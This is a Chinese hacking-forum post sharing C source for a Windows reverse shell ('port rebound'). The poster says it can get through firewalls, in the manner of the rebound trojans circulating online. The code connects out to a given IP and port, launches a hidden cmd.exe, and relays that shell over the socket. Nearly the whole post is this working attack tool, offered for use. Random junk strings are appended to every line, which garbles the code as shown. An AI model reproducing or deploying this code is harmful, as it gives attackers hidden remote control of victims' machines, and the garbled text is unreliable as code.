社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5714阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {N+$Q'  
X9V*UXTc  
/* ============================== $| @ (  
Rebound port in Windows NT %V7at7>o  
By wind,2006/7 n"c[,k+R`U  
===============================*/ EFM5,gB.m  
#include Iy&!<r7:]0  
#include , K~}\CR  
ZQV6xoN;r  
#pragma comment(lib,"wsock32.lib") Jcd-  
J| w>a  
void OutputShell(); VZKvaxIk6  
SOCKET sClient; gi1^3R[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .[ICx  
RMdk:YvBg  
void main(int argc,char **argv) .(cw>7e3D  
{ [_EZhq  
WSADATA stWsaData; m+]K;}.}R  
int nRet; X aMJDa|M  
SOCKADDR_IN stSaiClient,stSaiServer; ,?^ p(w  
, s"^kFl  
if(argc != 3) N2;B-UF 7  
{ f6&iy$@   
printf("Useage:\n\rRebound DestIP DestPort\n"); 0Qf,@^zL*  
return; [M=7M}f;  
} QTk}h_<u  
!$gR{XH$]  
WSAStartup(MAKEWORD(2,2),&stWsaData); GjvOM y  
N 5lDS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pd_U7&w,5  
8}O lL,fP  
stSaiClient.sin_family = AF_INET; at,XB.}Z]  
stSaiClient.sin_port = htons(0); 4O^xY 6m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8;JWK3Gv  
'-Vt|O_Q  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I 5^!y  
{ I;wp':  
printf("Bind Socket Failed!\n"); t.i 8 2Q  
return; ;DfY#-  
} _@ qjV~%Sy  
;U+3w~  
stSaiServer.sin_family = AF_INET; vN;N/mL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2K/4Rf0;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nAsh:6${  
<L8'!q}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TNe l/   
{ P@V0Mi),  
printf("Connect Error!"); 8V`WO6*  
return; EE06h-ns  
} &5B'nk"  
OutputShell(); 2} /aFR  
} 3 /g~A{  
(c=6yV@  
void OutputShell() \ C+~m  
{ 1#< '&Lr  
char szBuff[1024]; 7x|9n  
SECURITY_ATTRIBUTES stSecurityAttributes; ?N*>*"  
OSVERSIONINFO stOsversionInfo; ?]_$Dcmx  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bN1|q| 9  
STARTUPINFO stStartupInfo; f@wquG'  
char *szShell; KQ!8ks]  
PROCESS_INFORMATION stProcessInformation; <KL,G};0pm  
unsigned long lBytesRead; BYL)nCc  
spH7 /5}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U ]H#MiC!  
) j#`r/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FpmM63$VN[  
stSecurityAttributes.lpSecurityDescriptor = 0; 2*;~S4 4  
stSecurityAttributes.bInheritHandle = TRUE; *v^Jb/E315  
3nO]Ge"w'n  
P64PPbP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >* f-Wde  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pP&7rRhw  
O:;w3u7;u  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LM<qT-/qs  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l *(8i ^  
stStartupInfo.wShowWindow = SW_HIDE; K_|k3^xx"  
stStartupInfo.hStdInput = hReadPipe; NX*Q F+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O`IQ(,yef  
)-I { ^(  
GetVersionEx(&stOsversionInfo); [Kg+^N% +  
%} SrL*  
switch(stOsversionInfo.dwPlatformId) qd ~BnR$=  
{ ;#W2|'HD  
case 1: 5}l[>lF  
szShell = "command.com"; u5`u>.!  
break; Q%`@0#"]Sv  
default: t6 "%3#s  
szShell = "cmd.exe"; r= `Jn6@  
break; ^1I19q  
} w e//|fA<  
[6Izlh+D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q_[o" wq/  
MS~(D.@ZS  
send(sClient,szMsg,77,0); !Iy_UfW  
while(1) V(I8=rVH  
{ $Vg>I>i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EU/C@B2*Dl  
if(lBytesRead) C_}]`[  
{ {H>gtpVy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mp1@|*Sn  
send(sClient,szBuff,lBytesRead,0); F]O`3 e=!  
} Cw3 a0u  
else ?=sDM& '  
{ J/y83@  
lBytesRead=recv(sClient,szBuff,1024,0); @Md/Q~>  
if(lBytesRead<=0) break; yLvDMPj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <`=j^LU  
} UERLtSQ  
} JX;<F~{.  
0*3R=7_},o  
return; gh]cXuph  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八